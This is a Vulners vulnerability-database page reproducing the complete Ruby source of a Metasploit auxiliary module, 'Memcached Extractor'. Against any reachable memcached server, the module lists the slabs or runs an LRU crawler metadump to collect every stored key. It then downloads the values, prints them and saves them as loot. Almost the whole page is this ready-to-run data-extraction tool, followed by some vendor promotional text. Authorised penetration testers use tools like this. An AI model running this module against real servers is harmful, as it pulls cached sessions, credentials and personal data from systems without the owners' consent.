Lucene search
K

Memcached Extractor

🗓️ 13 Jan 2015 00:40:06Reported by Paul Deardorff <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

This module extracts the slabs from a memcached instance and finds the keys and values stored in those slabs

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(
      info,
      'Name'          => 'Memcached Extractor',
      'Description'   => %q(
        This module extracts the slabs from a memcached instance.  It then
        finds the keys and values stored in those slabs.
      ),
      'Author'        => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
      'License'       => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
        ]
    ))

    register_options(
      [
        Opt::RPORT(11211)
      ], self.class
    )

    register_advanced_options(
      [
        OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]),
        OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10])
      ], self.class
    )
  end

  def max_keys
    datastore['MAXKEYS'].to_i
  end

  def print_keys
    datastore['PRINTKEYS'].to_i
  end

  def localhost?(ip)
    %w(localhost 127.0.0.1).include?(ip)
  end

  # Returns array of keys for all slabs
  def enumerate_keys
    keys = []
    enumerate_slab_ids.each do |sid|
      sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
      loop do
        data = sock.recv(4096)
        break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
        matches = data.scan(/^ITEM (?<key>.*) \[/)
        break if matches.empty?
        keys = keys + matches.flatten!
        break if data =~ /^END/
      end
    end
    keys
  end

  # Returns array of slab ids as strings
  def enumerate_slab_ids
    sock.send("stats slabs\r\n", 0)
    slab_ids = []
    loop do
      data = sock.recv(4096)
      break if !data || data.length == 0
      matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
      slab_ids << matches
      break if data =~ /^END/
    end
    slab_ids.flatten!
    slab_ids.uniq! || []
  end

  def enumerate_keys_lru
    keys = []
    sock.send("lru_crawler metadump all\r\n", 0)
    loop do
      data = sock.recv(4096)
      break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
      matches = data.scan(/^key=(?<key>.*) exp=/)
      break if matches.empty?
      keys = keys + matches.flatten!
      break if data =~ /^END/
      data = ''
    end
    keys
  end

  def data_for_keys(keys = [])
    all_data = {}
    keys.each do |key|
      sock.send("get #{key}\r\n", 0)
      data = []
      loop do
        data_part = sock.recv(4096)
        break if !data_part || data_part.length == 0
        data << data_part
        break if data_part =~ /^END/
      end
      all_data[key] = data.join
    end
    all_data
  end

  def determine_version
    sock.send("version\r\n", 0)
    stats = sock.recv(4096)
    if /^VERSION (?<version>[\d\.]+)/ =~ stats
      version
    else
      nil
    end
  end

  def run_host(ip)
    peer = "#{ip}:#{rport}"
    vprint_status("Connecting to memcached server...")
    begin
      connect
      if (version = determine_version)
        vprint_good("Connected to memcached version #{version}")
        if (Rex::Version.new(version) >= Rex::Version.new('1.5.4'))
          command_string = "lru_crawler"
        else
          command_string = 'cachedump'
        end
        vprint_status("Using #{command_string} to enumerate keys")
        unless localhost?(ip)
          report_service(
            host: ip,
            name: 'memcached',
            port: rport,
            proto: 'tcp',
            info: version
          )
        end
      else
        print_error("unable to determine memcached protocol version")
        return
      end
      if(command_string=='cachedump')
        keys = enumerate_keys
      else
        keys = enumerate_keys_lru
      end
      print_good("Found #{keys.size} keys")
      return if keys.size == 0

      data = data_for_keys(keys)
      result_table = Rex::Text::Table.new(
        'Header'  => "Keys/Values Found for #{peer}",
        'Indent'  => 1,
        'Columns' => [ 'Key', 'Value' ]
      )
      data.take(print_keys).each { |key, value| result_table << [key, value.inspect] }
      print_line
      print_line("#{result_table}")
      unless localhost?(ip)
        path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
        print_good("memcached loot stored at #{path}")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
      vprint_error("Could not connect to memcached server!")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jun 2022 00:44Current
6.8Medium risk
Vulners AI Score6.8
47